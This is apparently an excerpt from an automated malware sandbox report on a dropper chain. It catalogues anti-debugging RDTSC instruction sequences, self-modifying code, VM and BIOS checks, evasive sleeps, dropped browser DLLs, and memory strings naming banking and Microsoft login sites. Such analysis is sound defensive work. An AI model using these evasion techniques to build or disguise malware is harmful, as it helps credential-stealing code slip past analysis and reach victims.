Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA4D9 second address: EFA50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8AA8C154D7h 0x00000009 popad 0x0000000a js 00007F8AA8C154DAh 0x00000010 jmp 00007F8AA8C154D4h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA9C0 second address: EFA9D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jc 00007F8AA8B7BB86h 0x00000009 pop esi 0x0000000a pushad 0x0000000b jo 00007F8AA8B7BB86h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFA9D3 second address: EFA9DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFAB40 second address: EFAB46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFB2F7 second address: EFB303 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8AA8C154C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFBA06 second address: EFBA0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFBA0C second address: EFBA10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: EFBA10 second address: EFBA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F00BE6 second address: F00BEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F00BEB second address: F00BF0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F01052 second address: F01064 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8AA8C154CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F01064 second address: F01069 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F01069 second address: F0113C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F8AA8C154D4h 0x0000000f push dword ptr fs:[00000000h] 0x00000016 pushad 0x00000017 jmp 00007F8AA8C154D6h 0x0000001c mov bl, 24h 0x0000001e popad 0x0000001f pushad 0x00000020 mov cl, ECh 0x00000022 mov bx, ax 0x00000025 popad 0x00000026 mov dword ptr fs:[00000000h], esp 0x0000002d pushad 0x0000002e mov di, cx 0x00000031 jmp 00007F8AA8C154D3h 0x00000036 popad 0x00000037 lea eax, dword ptr [ebp+124864DEh] 0x0000003d cld 0x0000003e mov dword ptr [eax+01h], esp 0x00000041 pushad 0x00000042 ja 00007F8AA8C154C6h 0x00000048 popad 0x00000049 lea eax, dword ptr [ebp+124864E4h] 0x0000004f jmp 00007F8AA8C154D2h 0x00000054 mov dword ptr [eax+01h], ebp 0x00000057 jmp 00007F8AA8C154D5h 0x0000005c mov byte ptr [ebp+122D2250h], 0000004Fh 0x00000063 pushad 0x00000064 pushad 0x00000065 mov ax, di 0x00000068 xor bx, ADABh 0x0000006d popad 0x0000006e mov edi, 21E5F7B2h 0x00000073 popad 0x00000074 push A08536FAh 0x00000079 push eax 0x0000007a push edx 0x0000007b jmp 00007F8AA8C154CDh 0x00000080 rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F0113C second address: F01146 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8AA8B7BB86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	RDTSC instruction interceptor: First address: F013D8 second address: F013E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 983CF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B2C23D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BB390D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: D4E975 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: F010D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: F275F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Special instruction interceptor: First address: F08FE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Special instruction interceptor: First address: 791A9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Special instruction interceptor: First address: 935B04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Special instruction interceptor: First address: 9B6992 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 7ADD01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 7ADBD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 2BE975 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4710D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 7AB57A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 4975F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 97D99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 478FE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Special instruction interceptor: First address: 9E741E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Special instruction interceptor: First address: 2D3CF9 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Special instruction interceptor: First address: 47C23D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Special instruction interceptor: First address: 50390D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 59E975 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 7510D8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 7775F0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Special instruction interceptor: First address: 758FE2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Special instruction interceptor: First address: 7D1A9C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Special instruction interceptor: First address: 975B04 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Special instruction interceptor: First address: 9F6992 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 78DD01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 78DBD8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 78B57A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 95D99F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Special instruction interceptor: First address: 9C741E instructions caused by: Self-modifying code

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Memory allocated: 4FD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Memory allocated: 5230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Memory allocated: 7230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Memory allocated: 4D90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Memory allocated: 4F60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Memory allocated: 6F60000 memory reserve \| memory write watch

Contains capabilities to detect virtual machines

Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Code function: 3_2_04AA0D94 rdtsc

3_2_04AA0D94

Contains long sleeps (>= 3 min)

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 371
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Window / User API: threadDelayed 738

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\file.exe TID: 5460	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe TID: 7452	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7748	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7752	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep count: 371 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -11130000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep count: 31 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7728	Thread sleep time: -62031s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7824	Thread sleep time: -180000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7732	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7708	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 8020	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 8016	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 6600	Thread sleep time: -30015s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 2740	Thread sleep time: -60000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe TID: 1224	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe TID: 7388	Thread sleep time: -922337203685477s >= -30000s

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C69EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

4_2_6C69EBF0

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PeerDistRepub	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\PlaceholderTileLogoFolder	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Comms	Jump to behavior

Source: RIHOEX26J337XMDAUSF1C246W.exe, RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260970671.0000000000EE2000.00000040.00000001.01000000.00000006.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2468284651.0000000000911000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.2297578694.0000000000452000.00000040.00000001.01000000.00000009.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390942123.0000000000931000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.2297614571.0000000000452000.00000040.00000001.01000000.00000009.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2841847202.000000000045D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3027526706.00000000052FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000003.2049716081.0000000001152000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001316000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843118649.00000000015EE000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186529970.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000001A.00000002.3139366213.000001EE2A2A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 2ffb915ad7.exe, 0000000B.00000003.2841167798.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW)
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: firefox.exe, 0000001A.00000002.3136257996.000001EE202A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260608230.0000000000646000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 2ffb915ad7.exe, 0000000C.00000003.3027526706.00000000052FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 2ffb915ad7.exe, 0000000C.00000003.2985271355.0000000000CB9000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186529970.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWE
